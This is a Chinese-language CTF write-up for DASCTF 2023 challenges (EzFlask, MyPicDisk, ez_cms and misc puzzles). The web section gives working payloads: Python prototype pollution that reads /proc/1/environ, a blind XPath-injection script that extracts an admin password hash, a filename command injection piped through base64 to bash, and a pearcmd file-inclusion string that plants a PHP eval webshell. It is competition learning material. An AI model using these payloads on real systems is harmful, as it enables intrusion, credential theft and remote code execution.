目录

WEB

EzFlask

进去就拿到了源码

import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

看到merge就可以联想到原型链污染

Python原型链污染变体(prototype-pollution-in-python) - Article_kelp - 博客园 (cnblogs.com)

看到这个

image-20230801215303268

那么可以利用payload为

{
  "username":"1",
  "password":"6",
"\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F":{
"__globals__":{
"__file__":"../../../proc/1/environ"
}
}
}

image-20230801221913666

image-20230801221942447

除了污染__FILE__还可以污染_static_folder

{"__init\u005f_":{"__globals__":{"app":{"_static_folder":"/"}}},
"username":1,
"password":1
}

访问/static/proc/1/environ可以直接下载

预期解是利用这个读文件,然后算pin码

[DASCTF 2023 & 0X401 Web WriteUp | Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2023/07/22/DASCTF 2023 & 0X401 Web WriteUp/#EzFlask)

MyPicDisk

随便试试就能登录成功了,看到hint,/y0u_cant_find_1t.zip

image-20230802004144793

去看源码发现这里存在一个盲注,可控点是username,可以利用这个拿到账户密码

image-20230802112522689

直接用Boogipop师傅的脚本

import requests
import time
url ='http://8973a3c8-894a-4cc3-a9e6-122b41222731.node4.buuoj.cn:81/index.php'


strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
    for j in strs:

        #猜测根节点名称
        # payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j),"password":123}
        #猜测子节点名称
        # payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测accounts的节点
        # payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        # payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码
        # payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}'  or ''='".format(i,j)
        payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}'  or ''='".format(i,j)
        data={
            "username":payload_username,
            "password":123,
            "submit":"1"
        }
        #
        # payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])


        print(payload_username)
        print(data)
        r = requests.post(url=url,data=data)
        time.sleep(0.1)
        # print(r.text)
#003d7628772d6b57fec5f30ccbc82be1

        if "登录成功" in r.text:
            flag+=j
            print(flag)
            break

    if "登录失败" in r.text:
        break

print(flag)

结果是

admin/003d7628772d6b57fec5f30ccbc82be1

image-20230802114829355

15035371139

登录

image-20230802120744269

看到文件名字可控,文件名拼接,命令执行即可

image-20230802120807642

image-20230802120856399

上传完后去访问一下

image-20230802120938940

;echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;a.jpg

image-20230802121034470

ez_cms

熊海cms

image-20230802121452300

弱密码进入后台,存在文件包含漏洞,这个文件包含的位置要注意

+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST[1]);?>+../../../../../../../../tmp/1.php

image-20230802122148618

image-20230802122328753

ez_py

django session pickle反序列化,有空再复现了

[DASCTF 2023 & 0X401 Web WriteUp | Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2023/07/22/DASCTF 2023 & 0X401 Web WriteUp/#ez-py)

ez_timing

关于http2的,直接看n03tAck的wp

https://mp.weixin.qq.com/s/4PdBJvd7mhzqjW1TEL6eyQ

利用下面这个脚本拿flag

https://github.com/ConnorNelson/spaceless-spacing

MISC

签到题

直接签到

image-20230802212217086

ezFAT32

用取证大师FAT32恢复,导出那个bmp,算hash解压压缩包即可

Coffee desu!

题目要求You should add the milktea before getting the coffee!

image-20230802212714661

查阅资料

RFC 2324 - Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0) (ietf.org)

那么加个头即可:

Accept-Additions: milktea

image-20230802212629296

GET请求一下就可以拿到flag

image-20230802212825016